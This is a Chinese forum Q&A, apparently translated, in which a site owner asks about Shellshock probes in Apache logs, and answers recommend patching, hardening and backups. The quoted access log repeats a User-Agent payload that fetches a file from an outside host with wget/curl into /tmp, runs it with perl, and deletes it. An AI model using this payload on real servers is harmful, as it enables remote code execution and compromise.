这有点令人困惑,顺便说一句,我不是系统管理员,只知道如何处理 Linux。
我正在运行一个基于 LAMP 的网站,并将其托管在 Digital Ocean 上。服务器是 CentOS 7,我安装了一些安全工具,例如Fail2ban。我经常检查错误日志和请求日志,就在今天我看到了几个令人不安的请求;示例如下。
我的问题是,黑客是否试图将病毒文件名“a2.png”植入到我的/tmp
文件夹中?黑客成功植入了吗?
我如何知道病毒是否正在我的服务器中运行?
到目前为止,我看不到文件名存在于我的 tmp 文件夹中。我应该安装什么安全措施或服务器强化?以及 apache 的正确配置?我在安装 LAMP 时仅使用了 apache 的标准配置。
我处理的网站在虚拟主机上,我正在使用一个框架来使其更安全。我不确定我是否在正确保护我的网络服务器,我只为登录尝试安装了 Fail2ban。
错误日志示例
[2015 年 8 月 25 日星期二 09:48:39.688528] [core:error] [pid 24312] [客户端 64.15.155.177:33663] AH00126:请求中的 URI 无效 GET HTTP/1.1 HTTP/1.1
[2015 年 8 月 25 日星期二 09:48:40.877570] [cgi:error] [pid 24306] [客户端 64.15.155.177:35398] 未找到脚本或无法统计:/var/www/cgi-bin/report.cgi
[2015 年 8 月 25 日星期二 09:48:41.042423] [cgi:error] [pid 24331] [客户端 64.15.155.177:35687] 未找到脚本或无法统计:/var/www/cgi-bin/webmap.cgi
请求日志示例
64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET HTTP/1.1 HTTP/1.1" 400 226 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 301 234 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /main.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /info.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /index.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /admin.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
121.54.44.93 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 200 3785 "-" "Mozilla/5.0 (Linux; Android 4.4.2; en-ph; SAMSUNG SM-G7102 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/register.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/download.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
答案1
作为Fiasco Labs 在他们的回答中指出,这些类型的日志条目比比皆是。但作为一名在管理和保护基于 LAMP 的 Web 服务器方面拥有丰富经验的系统管理员,这与其说是攻击,倒不如说是某个地方的某个人对您的系统进行的脚本“探测”。这些对系统的探测/扫描是为了查看哪些服务器(如果有的话)存在漏洞;而不仅仅是您的服务器。一般来说,这相当于“战争拨号”这在 1980 年代 /1990 年代通过声学调制解调器进行系统黑客攻击时相当常见;扫描系统列表,查看哪些系统存在“缺陷”,然后看看可以对这些所谓的缺陷做些什么。
你应该对此感到恐慌吗?一点也不。互联网上的任何 Web 服务器都在不断受到探测。我管理着几个 Ubuntu Linux Web 服务器,如果我现在、明天、一天后等检查我的日志,我 100% 肯定会看到类似于你所看到的条目。但我一点也不会为此失眠。事实是,如果你的核心操作系统已正确修补,并且你使用的框架已修补并更新,那么你的状况就很好。
使用类似的工具失败禁止这个想法不错,但我认为有点矫枉过正。原因是,即使使用像失败禁止甚至ModSecurity,聪明的机器人仍有可能成功。这就是为什么我对系统管理员的最佳建议是强化他们的服务器,并找到一种从系统入侵中轻松恢复的方法。
强化你的服务器和代码库
我认为最好的安全实践是强化您的 LAMP 服务器设置并确保我们的 PHP 代码是稳固的。安全 Stack Exchange 网站上的这个答案是理解“强化”含义的一个很好的起点,但老实说,如果您不是系统管理员,其中的大部分内容可能超出您的理解范围。
因此,我建议,除非您真的有能力学习如何成为一名 Linux 系统管理员,否则最好使用一些共享托管提供商。这样,他们的管理员就可以利用他们的技能来处理这些事情,而您可以专注于运行/编写网站代码。
也就是说,即使使用共享主机设置,您也不能完全摆脱困境。即使您使用的是信誉良好的 PHP 框架,您也需要在每次发布更新时及时修补该 PHP 框架。至于您的核心代码库,您应该确保在编码过程中不要在基本的安全实践上偷工减料。您基本上应该学习如何清理网站收到的任何/所有输入,以及如何正确设置网站,这样即使网站出现故障,也不会以灾难的方式出现。
备份和灾难恢复
在我看来,这意味着备份、备份、备份以及更多备份。你永远无法控制服务器入侵,但数据/系统恢复是总是在您的控制范围内。这意味着您需要制定某种小规模的“灾难恢复计划”来恢复您的网站。
这意味着,一定要备份你的核心代码库,这样如果它被盗用,你可以轻松地重新部署干净的代码,而无需付出太多努力。为此,我强烈建议你使用源代码管理工具,例如git
用于版本跟踪以及设置 GitHub 存储库进行远程存储。此外,了解如何使用 Capistrano 和 PHP 部署代码;我有一个关于如何做到这一点的答案在这里。
MySQL 数据库也是如此;根据大小/规模提供备份。我喜欢每 3-4 小时对中小型网站进行一次 MySQL 备份。这样,如果网站被黑客入侵,最糟糕的情况就是数据库最多会过期 3-4 小时;同一天过期的数据库总比没有备份的数据库被破坏要好。
答案2
脚本 wget 攻击寻找常见漏洞。保持服务器软件为最新版本,大多数软件都无法工作,除非它们是零日漏洞。
您会发现这些在网络服务器上比比皆是,您唯一的防御措施就是永远不要让您的服务器在未打补丁的状态下运行。
阅读有关 Centos 安全补丁的信息并花费更多时间运行 apt-get/yum/rpm(无论是什么包管理器)来获取最新的安全更新。